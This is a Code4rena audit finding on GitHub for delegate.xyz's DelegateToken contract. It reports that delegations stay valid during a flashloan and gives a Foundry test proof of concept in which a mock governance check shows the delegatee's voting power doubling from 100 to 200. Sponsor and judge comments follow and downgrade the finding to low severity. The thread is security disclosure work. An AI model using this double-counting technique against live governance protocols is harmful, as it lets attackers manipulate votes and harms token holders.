c4-submissions commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-09-delegate/blob/a6dbac8068760ee4fc5bababb57e3fe79e5eeb2e/src/DelegateToken.sol#L398-L408

Vulnerability details

Impact

an attacker can show up as having double the amount of ERC20/ERC1155 to an application that relies on delegate.xyz delegates + wallet balance. This can be a critical problem for many type of systems, for example a governance protocol that allows users to delegate their gov Token through delegate.xyz and to determine the voting power of a specific user it will count the gov tokens in his wallet + all the tokens delegated. Notice also that this exploit can not be mitigated from the application that integrates with delegate.xyz as there is no way for an external contract to determine if a specific user's wallet balance is coming from a flashloan or not, thus this should be categorized as a fundamental flaw of the protocol.

Details

the exploit is possible because during a flashloan, the delegation is still considered valid so an attacker can effectively "double spend" his delegation.

Proof of Concept

as a PoC I will expand the previous example of a governance protocol, to run it you can place this in the /test/DelegateToken.t.sol test.

   import "forge-std/console.sol";
   import {IDelegateFlashloan} from "src/interfaces/IDelegateFlashloan.sol";
   import {IDelegateRegistry as IDelegateRegistry} from "lib/delegate-registry/src/IDelegateRegistry.sol";

    //......

    function testExploit20() public {
        address tokenOwner = makeAddr("tokenOwner");
        address exploiter = address(this);
        uint256 amount = 100;

        mockERC20.mint(tokenOwner, amount);
        // this next mint simulates the fact that DelegationToken will have other tokens in its balance due to other people also depositing in the escrow
        mockERC20.mint(address(dt), amount);
        vm.prank(tokenOwner);
        mockERC20.approve(address(dt), amount);

        vm.prank(tokenOwner);
        uint256 delegateID1 = dt.create(
            DelegateTokenStructs.DelegateInfo(tokenOwner, IDelegateRegistry.DelegationType.ERC20, exploiter, amount, address(mockERC20), 0, "", block.timestamp + 10 days), SALT
        );

        console.log("voting power BEFORE flashloan: %s", governanceCheckVotingPower(exploiter));
        dt.flashloan(DelegateTokenStructs.FlashInfo(exploiter, exploiter, IDelegateRegistry.DelegationType.ERC20, address(mockERC20), 0, amount, ""));
    }

    function onFlashloan(address initiator, DelegateTokenStructs.FlashInfo calldata flashInfo) external payable returns (bytes32) {

        address exploiter = address(this);
        uint256 votingPower = governanceCheckVotingPower(exploiter);
        console.log("voting power AFTER flashloan: %s", votingPower);
        mockERC20.approve(address(dt), flashInfo.amount);
        return IDelegateFlashloan.onFlashloan.selector;
    }

// this part here simulates what an external protocol (ex. a Governance protocol) would see from the exploiter
    function governanceCheckVotingPower(address voter) public returns (uint256) {
        IDelegateRegistry.Delegation[] memory delegations = registry.getIncomingDelegations(voter);
        uint256 totalDelegateAmount = 0;
        for (uint256 i = 0; i < delegations.length; i++) {
            IDelegateRegistry.Delegation memory delegation = delegations[i];
            if (delegation.type_ == IDelegateRegistry.DelegationType.ERC20 && delegation.contract_ == address(mockERC20)) {
                if (mockERC20.balanceOf(delegation.from) < delegation.amount) {
                    continue;
                }
                totalDelegateAmount += delegation.amount;
            }
        }
        return totalDelegateAmount + mockERC20.balanceOf(voter);
    }

output:

  voting power BEFORE flashloan: 100
  voting power AFTER flashloan: 200

Tools Used

manual review

Recommended Mitigation Steps

while a user is calling a flashloan, temporarily revoke his original delegation until the flashloan is not finished

Assessed type

Other

c4-sponsor commented 1 year ago

0xfoobar (sponsor) acknowledged

0xfoobar commented 1 year ago

Noted, this is not a bug in DelegateToken but will be have to be accounted for in integrating protocols

c4-sponsor commented 1 year ago

0xfoobar marked the issue as disagree with severity

c4-judge commented 1 year ago

GalloDaSballo changed the severity to QA (Quality Assurance)

GalloDaSballo commented 1 year ago

Agree with both sides, downgrading to QA Low Severity as a Gotcha